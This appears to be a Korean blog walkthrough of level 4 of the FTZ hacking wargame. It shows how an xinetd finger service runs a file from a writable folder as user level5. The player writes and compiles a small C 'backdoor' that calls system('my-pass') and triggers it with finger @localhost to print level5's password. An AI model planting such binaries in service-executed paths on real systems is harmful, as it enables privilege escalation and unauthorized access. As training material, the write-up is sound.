728x90
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
ls /etc/xined.d를 해보면 backdoor 파일이 있다.
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
중요한 부분은 user과 server이다.
user: 서비스를 실행하는 사용자.
server: 서비스의 실행 파일 절대 경로.
더 궁금하면 아래 링크를 참고하자.
https://sungpil94.tistory.com/206
finger라는 서비스 요청 시 level5의 사용자 권한으로 /home/level4/tmp/backdoor 파일을 실행한다.
/home/level4/tmp 폴더로 이동 후 vi backdoor.c 명령으로 소스 파일을 만든다.
#include <stdlib.h>
main(){
system("my-pass");
}
입력 후 gcc backdoor.c -o backdoor 명령어로 컴파일한다.
backdoor 파일이 생성된다.
finger @'현재 구동 중인 가상머신의 ftz 서버 ip'를 입력하면 backdoor가 실행되며 level5의 비밀번호가 나온다.
finger @localhost로 대체가능하다.
localhost는 결국 내 pc이므로 우리는 현재 xshell로 ftz서버에 접속해 있다. 따라서 ftz 서버를 가리킨다.
finger만 입력하면 명령어는 실행되지만 비밀번호는 나오지 않는다.
finger의 속성파일이 /etc/xinetd.d에 있었듯이 xinetd의 서비스이기에 네트워크를 통해 접속하는 요청이어야 하기 때문이다.
finger 명령어만 입력하면 단순히 내부 pc에서 실행된다.
[level4@ftz tmp]$ finger @192.168.93.128
^[[H^[[J
Level5 Password is "what is your name?".
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".
혹시 비밀번호가 출력 안되면 몇 번 반복해서 시도해 보자.
728x90